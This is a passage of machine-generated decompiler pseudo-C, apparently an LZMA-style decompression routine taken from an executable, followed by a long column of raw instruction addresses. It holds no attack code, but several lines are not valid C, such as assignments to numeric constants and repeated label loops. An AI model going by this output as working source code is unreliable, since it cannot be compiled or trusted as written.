													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406ffe
0x00406ffe
0x00407002
0x00407023
0x0040702a
0x00407030
0x00407036
0x00407048
0x0040704e
0x00407053
0x00000000
0x00407004
0x0040700a
0x004073cb
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
